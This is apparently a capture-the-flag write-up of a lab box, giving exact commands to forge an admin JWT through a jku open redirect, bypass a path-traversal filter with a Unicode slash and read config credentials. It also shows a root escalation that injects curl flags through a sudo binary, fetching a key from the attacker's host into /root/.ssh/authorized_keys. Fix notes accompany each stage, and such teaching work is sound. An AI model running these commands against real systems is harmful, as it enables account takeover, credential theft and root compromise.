Unicode
Summary
I discovered a custom web application at hackmedia.htb served by nginx. After registering a user account and logging in, analysis of the JWT authentication cookie revealed its header contained a jku claim pointing to the server's own public-key file. An unauthenticated open-redirect endpoint on the same origin was abused to trick the JWT validator into fetching my own JWKS file — making the server accept tokens signed with my own key.
A forged administrator token unlocked a file-display endpoint that attempted to block path traversal by filtering literal ../ sequences, but failed to normalize Unicode before checking; substituting the forward slash with the Unicode fullwidth solidus bypassed the filter entirely and allowed arbitrary file reads. Reading the application's database config file exposed the code Linux user's password, which was reused for SSH access, yielding the user flag. For root, a sudo rule permitted code to run a PyInstaller-compiled Python binary (treport) without a password.
Decompiling the binary revealed it built a curl command via os.system() with user input concatenated unsanitized into the shell string. Injecting brace-expansion curl flags wrote my own SSH public key into /root/.ssh/authorized_keys, granting a full interactive root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered, for code>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service and default-script scan; look for hostname clues in HTTP responses.
$ nmap -sV -sC -p22,80 $TARGETRegister the discovered virtual host for name resolution.
$ echo "$TARGET hackmedia.htb" | sudo tee -a /etc/hostsExact commands 4
Register a test account.
$ curl -s -X POST http://hackmedia.htb/register -d "username=$USERNAME&password=$PASSWORD2"Log in and capture the JWT auth cookie value.
$ curl -s -c cookies.txt -X POST http://hackmedia.htb/login -d "username=$USERNAME&password=$PASSWORD2" -v 2>&1 | grep -i 'set-cookie'Decode and display all JWT claims and headers; replace <JWT_TOKEN> with the captured cookie value.
$ python3 jwt_tool.py <JWT_TOKEN> -TRetrieve the server's JWKS to understand the key format that must be replicated.
$ curl -s http://hackmedia.htb/static/jwks.jsonFixPin the JWT signing key server-side; never trust a client-supplied key URLCritical
Exact commands 3
Generate RSA key pair, produce jwks.json, sign forged admin token. Replace $ATTACKER_IP with your tun0 address and <JWT_TOKEN> with the captured cookie.
$ python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://hackmedia.htb/redirect/?url=http://$ATTACKER_IP:8000/jwks.json" -I -pc sub -pv adminServe the generated jwks.json so the server fetches my public key during validation.
$ python3 -m http.server 8000Confirm admin access using the forged token.
$ curl -s -b 'auth=<FORGED_JWT>' http://hackmedia.htb/dashboard/FixRemove or restrict the open-redirect endpointHigh
Exact commands 2
Proof-of-concept: read /etc/passwd. %EF%BC%8F is the fullwidth solidus / (U+FF0F), which normalizes to / after the filter check.
$ curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd'Read the application database config file containing system credentials.
$ curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fvar%ef%bc%8fwww%ef%bc%8fhtml%ef%bc%8fdb.yaml'FixNormalize and canonicalize file paths before applying any traversal filtersCritical
Exact commands 2
Confirm SSH access using the password found in db.yaml.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET 'id'Capture the user flag. Expected output: <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 code@$TARGET 'cat /home/code/user.txt'FixRemove plaintext credentials from web-accessible config filesHigh
Exact commands 4
List all sudo rules for the code user.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S -l 2>&1"Transfer the binary to my machine for offline analysis.
$ scp -o StrictHostKeyChecking=no code@$TARGET:/usr/bin/treport ./treportExtract the embedded Python bytecode from the PyInstaller self-extracting archive.
$ python3 pyinstxtractor.py treportDecompile the .pyc to readable Python source; locate os.system() or subprocess calls that incorporate user input.
$ uncompyle6 treport_extracted/treport.pyc > treport_source.py && cat treport_source.pyFixRemove the treport sudo rule and eliminate shell injection in its curl invocationCritical
Exact commands 5
Generate my SSH key pair on my machine.
$ ssh-keygen -t ed25519 -f /tmp/root_key -N ''Serve root_key.pub so treport's curl can fetch it. Run in the directory containing root_key.pub.
$ python3 -m http.server 8001Inject --output curl flag to write my pubkey to /root/.ssh/authorized_keys. Replace $ATTACKER_IP with your tun0 address.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '3\n{--output,/root/.ssh/authorized_keys} http://$ATTACKER_IP:8001/root_key.pub\n' | sudo -n /usr/bin/treport"Log in as root using the injected key. Expected: uid=0(root); <root.txt>
$ ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'Alternative read-only path used in the engagement: injects --config to treat root.txt as a curl config file, leaking flag contents in error output.
$ timeout 12 sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET "printf '3\n{--config,/root/root.txt}\n' | sudo -n /usr/bin/treport" 2>&1 | head -160Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.